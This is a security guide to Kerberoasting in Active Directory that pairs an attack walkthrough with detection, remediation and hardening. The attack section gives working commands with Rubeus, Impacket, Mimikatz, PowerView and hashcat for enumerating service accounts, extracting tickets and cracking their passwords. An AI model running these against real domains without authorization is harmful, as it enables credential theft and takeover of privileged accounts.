
Kerberoasting attack and defense
Requesting service tickets for AD service accounts and cracking them offline, with the detection and hardening that counters it.
Description
Kerberoasting is a post-exploitation technique against Active Directory. You request Kerberos service tickets for accounts that have a Service Principal Name (SPN), then crack the tickets offline to recover the service account passwords. It works because part of every service ticket is encrypted with a key derived from the service account's password. Tim Medin presented the technique at DerbyCon in 2014.
Why it works so often:
- Any domain user can request a service ticket for any SPN
- Cracking happens offline, where the DC cannot see it or lock the account
- Service accounts tend to have old, human-chosen passwords
- Those accounts often hold more privilege than the service needs
Authorization and noise
Run this only against domains you are authorized to test. Requesting a service ticket is normal Kerberos behaviour, so a few requests blend in, but roasting every SPN in the domain at once is exactly the pattern defenders alert on. Handle cracked passwords as client credentials.
Impact
- You get the cleartext password of a service account, which also works for NTLM, LDAP and everything else that account can log on to
- Service accounts usually have access to several systems, so one password gives lateral movement
- A service account in Domain Admins, or with a path to it, ends the engagement
- Service account passwords are rarely changed, so the access lasts
- The account's own data is exposed: databases, file shares, backups
- Accounts used for third-party integrations and cloud sync extend the reach beyond the domain
Technical details
Kerberos authentication primer
The part of the Kerberos flow that matters here:
- AS-REQ: the user asks the Key Distribution Center (KDC) for a Ticket Granting Ticket (TGT)
- AS-REP: the KDC returns the encrypted TGT
- TGS-REQ: the user presents the TGT and asks for a service ticket for an SPN
- TGS-REP: the KDC returns a service ticket encrypted with the service account's key
- AP-REQ: the user presents the service ticket to the service
The KDC does not check whether the user is allowed to use the service before issuing the ticket in step 4. That decision is left to the service. Kerberoasting stops after step 4 and takes the ticket away to crack.
The Kerberoasting attack flow
Enumerate service principal names (SPNs)
A user account with an SPN is a roastable account. Find them with an LDAP query:
# Using PowerShell
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# Using SetSPN
setspn -T domain.com -Q */*Request service tickets
With any valid domain account, request a service ticket for each SPN you found:
# Using PowerShell
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/sql01.domain.com:1433"Extract the tickets
Mimikatz exports the tickets that are now cached in your logon session. Rubeus does the request and the export in one step and writes hashcat-format hashes:
# Using Mimikatz
mimikatz # kerberos::list /export
# Using Rubeus
Rubeus.exe kerberoast /outfile:tickets.txtCrack the tickets offline
Crack the hashes with Hashcat or John the Ripper. Mode 13100 is for RC4 (etype 23) tickets. AES tickets need mode 19600 (AES128) or 19700 (AES256) and crack far more slowly:
# Using Hashcat
hashcat -m 13100 tickets.txt wordlist.txt -r rules/best64.rule
# Using John the Ripper
john --format=krb5tgs tickets.txt --wordlist=rockyou.txtTargeted Kerberoasting
Roast selectively. The accounts worth the request and the cracking time:
- Members of Domain Admins or other privileged groups that have an SPN
- SQL Server service accounts, which often have sysadmin rights
- Exchange accounts, for mail and administrative access
- Backup service accounts, which can read most of the estate
- Application service accounts on business-critical systems
Common attack tools
Impacket
# GetUserSPNs.py - Request and dump Kerberoastable accounts
GetUserSPNs.py domain.com/user:password -dc-ip 10.10.10.1 -request
# Save the hashes to a file
GetUserSPNs.py domain.com/user:password -dc-ip 10.10.10.1 -request -outputfile hashes.txtRubeus
# Basic Kerberoasting
Rubeus.exe kerberoast /outfile:hashes.txt
# Target specific user
Rubeus.exe kerberoast /user:svc_sql /simple
# Roast AS-REPs (for accounts with "Do not require Kerberos preauthentication")
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txtPowerView (PowerSploit)
# Enumerate Kerberoastable users
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File hashes.txt
# Target specific OU
Get-DomainUser -SPN -SearchBase "OU=ServiceAccounts,DC=domain,DC=com" | Get-DomainSPNTicketInvoke-Kerberoast (Empire)
# Request all Kerberoastable tickets
Invoke-Kerberoast -OutputFormat John | % { $_.Hash } | Out-File -Encoding ASCII hashes.txtDetection
Event log monitoring
Event ID 4769 (a Kerberos service ticket was requested) is the main source. This filter returns successful requests for RC4 tickets:
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">
*[System[(EventID=4769)]]
and
*[EventData[Data[@Name='TicketEncryptionType']='0x17']]
and
*[EventData[Data[@Name='Status']='0x0']]
</Select>
</Query>
</QueryList>What to look for in 4769:
- Many service ticket requests from one account in a short time (more than 100 in 10 minutes)
- RC4 tickets (encryption type 0x17) for accounts that support AES
- Requests at odd hours or in quick succession
- Requests from hosts that do not normally talk to those services
Event ID 4768 (a Kerberos TGT was requested) gives context around the same account:
- Authentication from a new workstation
- An unusual source IP address
- A service account logging on interactively
SIEM queries
-- Splunk query for Kerberoasting detection
index=windows EventCode=4769 Ticket_Encryption_Type=0x17
| stats count by src_ip, Account_Name
| where count > 50// Azure Sentinel KQL query
SecurityEvent
| where EventID == 4769
| where TicketEncryptionType == "0x17"
| summarize RequestCount=count() by AccountName, IpAddress, bin(TimeGenerated, 10m)
| where RequestCount > 100Honeypot service accounts
Create a decoy account with an SPN that no real service uses. Nothing legitimate ever requests a ticket for it, so any 4769 for that SPN is an alert:
# Create honeypot service account
New-ADUser -Name "svc_honeypot_sql" -ServicePrincipalNames "MSSQLSvc/honeypot.domain.com:1433" -AccountPassword (ConvertTo-SecureString "ComplexP@ssw0rd123!" -AsPlainText -Force)
# Monitor for ANY ticket requests to this SPNBehavioral analytics
Record the normal service ticket request pattern per user and host, then alert on changes in volume, timing or encryption type. Correlate those alerts with other signs of the same account moving laterally or escalating.
Remediation
Immediate response
Start by finding which accounts were roasted:
# Search Event Logs for suspicious TGS requests
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} |
Where-Object {$_.Properties[4].Value -eq '0x17'} |
Select-Object TimeCreated, @{N='User';E={$_.Properties[0].Value}}, @{N='Service';E={$_.Properties[1].Value}}Reset the password of every service account whose ticket was requested, and update the services that use it. Do not set -ChangePasswordAtLogon $true on an account a service runs under. A service cannot change its own password, so it fails to log on at the next start:
# Reset compromised service account password
Set-ADAccountPassword -Identity svc_sql -NewPassword (ConvertTo-SecureString -AsPlainText "NewC0mpl3xP@ssw0rd!" -Force) -ResetReview what the roasted accounts can do and remove what the service does not need:
# Enumerate group memberships
Get-ADPrincipalGroupMembership -Identity svc_sql | Select-Object Name
# Remove unnecessary privileges
Remove-ADGroupMember -Identity "Domain Admins" -Members svc_sql -Confirm:$falseA password reset changes the service key, so tickets issued under the old password stop working at the service. Purge cached tickets on the affected hosts. KRBTGT only needs resetting if you believe the attacker reached Domain Admin:
# On domain controller - force ticket renewal
klist purge -li 0x3e7
# Reset KRBTGT account twice (wait at least 10 hours between resets, the default maximum ticket lifetime)
# This invalidates all golden ticketsLong-term defenses
Strong service account passwords
Use random passwords of 25 characters or more for any service account that cannot be a gMSA:
# Generate strong random password
$Password = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count 32 | % {[char]$_})
Set-ADAccountPassword -Identity svc_sql -NewPassword (ConvertTo-SecureString $Password -AsPlainText -Force) -ResetGroup managed service accounts (gMSA)
AD generates and rotates the password of a gMSA. The password is 120 random characters, which is out of reach for cracking. Backdating the KDS root key as shown is for lab use. In production, create the key and wait the 10 hours for replication:
# Create KDS Root Key (one-time setup)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))
# Create gMSA
New-ADServiceAccount -Name svc_sql_gmsa -DNSHostName sql01.domain.com -PrincipalsAllowedToRetrieveManagedPassword "SQL Servers"
# Install on target server
Install-ADServiceAccount -Identity svc_sql_gmsaThen set the service's logon account to DOMAIN\svc_sql_gmsa$ in its Log On settings (for SQL Server, in SQL Server Configuration Manager). Set-Service -Credential is not a shortcut here: the parameter exists only in PowerShell 6.0 and later, and it takes a credential object with a password.
AES encryption
AES tickets are much slower to crack than RC4 tickets. Set AES on the service accounts and disable RC4 by policy:
# Configure AD to support AES
Set-ADUser -Identity svc_sql -KerberosEncryptionType AES128, AES256
# Disable RC4 encryption domain-wide via GPO
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos" = AES256, AES128Least privilege
# Audit service account permissions
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties MemberOf |
Select-Object Name, @{N='Groups';E={$_.MemberOf -join '; '}}
# Remove from privileged groups
Remove-ADGroupMember -Identity "Domain Admins" -Members svc_backupService account monitoring
Flag service accounts whose password is older than your rotation period:
# PowerShell script to monitor service account changes
$SPNUsers = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName, PasswordLastSet
foreach ($user in $SPNUsers) {
$passwordAge = (Get-Date) - $user.PasswordLastSet
if ($passwordAge.Days -gt 90) {
Write-Warning "$($user.Name) password is $($passwordAge.Days) days old"
}
}Restrict where service accounts can log on
- Deny interactive logon for service accounts
- Limit the hosts a service account may log on to
- Restrict logon hours where the service allows it
- Require MFA from the admins who reset service account passwords
Prevention
Account lifecycle
Rotate service account passwords on a schedule. This skeleton finds the accounts that are due:
# Automated password rotation script
$ServiceAccounts = Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties PasswordLastSet
foreach ($account in $ServiceAccounts) {
if ((Get-Date) - $account.PasswordLastSet -gt (New-TimeSpan -Days 60)) {
# Trigger automated password rotation
# Update dependent services
# Alert security team
}
}Separate accounts
- One service account per service or application
- No service account shared across systems
- Separate accounts for each privilege level
Regular audits
# Service account security audit script
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties * |
Select-Object Name, ServicePrincipalName, PasswordLastSet, LastLogonDate,
@{N='PasswordAge';E={(Get-Date) - $_.PasswordLastSet}},
@{N='AdminCount';E={$_.AdminCount}} |
Export-Csv ServiceAccountAudit.csv -NoTypeInformationNetwork segmentation
- Isolate the systems that run under service accounts
- Limit each service account to the network zones the service needs
Alerting
Alert on:
- New SPN registrations, especially on user accounts
- Privilege changes on service accounts
- Unusual authentication patterns and failed logons for service accounts
- Password changes on service accounts outside a change window
Verification
Validate the defenses
Find SPN accounts that still allow RC4. An account with no msDS-SupportedEncryptionTypes value is not returned by this filter and should be checked too:
# Identify accounts still using RC4
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties msDS-SupportedEncryptionTypes |
Where-Object {$_.'msDS-SupportedEncryptionTypes' -band 0x04} |
Select-Object Name, SamAccountNameCheck password ages:
# Check password ages
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties PasswordLastSet |
Select-Object Name, PasswordLastSet, @{N='PasswordAge';E={(Get-Date) - $_.PasswordLastSet}} |
Sort-Object PasswordAge -DescendingTest that your detection fires:
# Controlled Kerberoasting test (with authorization)
# Using Rubeus in test environment
Rubeus.exe kerberoast /nowrap
# Verify alerts are generated in SIEM
# Confirm incident response procedures are triggeredCheck the gMSA deployment:
# List all gMSAs
Get-ADServiceAccount -Filter * | Select-Object Name, DNSHostName, Enabled
# Verify automatic password rotation
Get-ADServiceAccount -Identity svc_sql_gmsa -Properties PasswordLastSet, msDS-ManagedPasswordIntervalAdvanced considerations
Kerberoasting in hybrid environments
The desktop single sign-on feature of Microsoft Entra Connect creates a computer account named AZUREADSSOACC in each synced forest and registers Kerberos SPNs on it. Its key is not rotated automatically, and Microsoft recommends rolling it over at least every 30 days. Check its SPNs, encryption types and password age:
# Desktop SSO computer account created by Microsoft Entra Connect
Get-ADComputer -Identity AZUREADSSOACC -Properties ServicePrincipalName, PasswordLastSet, msDS-SupportedEncryptionTypesIn a hybrid environment:
- Monitor authentication both on-premises and in the cloud
- Apply the same password policy to service accounts in both
- Use Privileged Identity Management (PIM) for cloud roles
AS-REP roasting
The related technique targets accounts with "Do not require Kerberos preauthentication" set. No SPN is needed:
# Find AS-REP roastable accounts
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuthTurn the setting off:
# Disable "Do not require Kerberos preauthentication"
Set-ADAccountControl -Identity username -DoesNotRequirePreAuth $falsePrivileged access workstations (PAWs)
Manage service accounts from PAWs:
- Dedicated hardened workstations for administrative tasks
- No internet access or email
- Multi-factor authentication required
- Full logging
References
MITRE ATT&CK techniques
- T1558.003 - Steal or Forge Kerberos Tickets: Kerberoasting: requesting and cracking service tickets
- T1558 - Steal or Forge Kerberos Tickets: the parent technique
- T1110.002 - Brute Force: Password Cracking: offline cracking of the tickets
- T1087.002 - Account Discovery: Domain Account: finding SPNs and service accounts
Microsoft documentation
- Microsoft's guidance to help mitigate Kerberoasting: detection and mitigation, including the gMSA password length
- Microsoft: Preventing Kerberos change password that uses RC4 secret keys: disabling RC4 keys
- Microsoft: Group Managed Service Accounts: gMSA setup
Security research
- harmj0y: Kerberoasting Without Mimikatz: the PowerShell implementation behind
Invoke-Kerberoast - ADSecurity: Detecting Kerberoasting Activity: detection approaches
- CIS Benchmark: Microsoft Windows Server: hardening baseline
Tools documentation
- Rubeus: Kerberos toolkit for Windows
- Impacket GetUserSPNs: Kerberoasting from Linux
- Hashcat: cracking the tickets
Next steps
AS-REP roasting
The sibling attack for accounts without Kerberos preauthentication.
Silver Ticket attack
For forging service tickets once you have a service account's password or hash.
Reading LAPS and gMSA passwords
For what is still reachable when service accounts have been moved to gMSAs.
LLMNR and NBT-NS poisoning
For getting the first domain account you need before you can roast.
PrintNightmare
Another escalation route from a low-privilege domain user.
Golden Ticket attacks and persistence
Forging Kerberos TGTs with the KRBTGT hash for persistent, privileged domain access, and how to detect and evict it.
Kerberos delegation attacks: unconstrained, constrained and RBCD
Abusing Kerberos delegation in Active Directory with unconstrained delegation TGT capture, the S4U extensions and resource-based constrained delegation.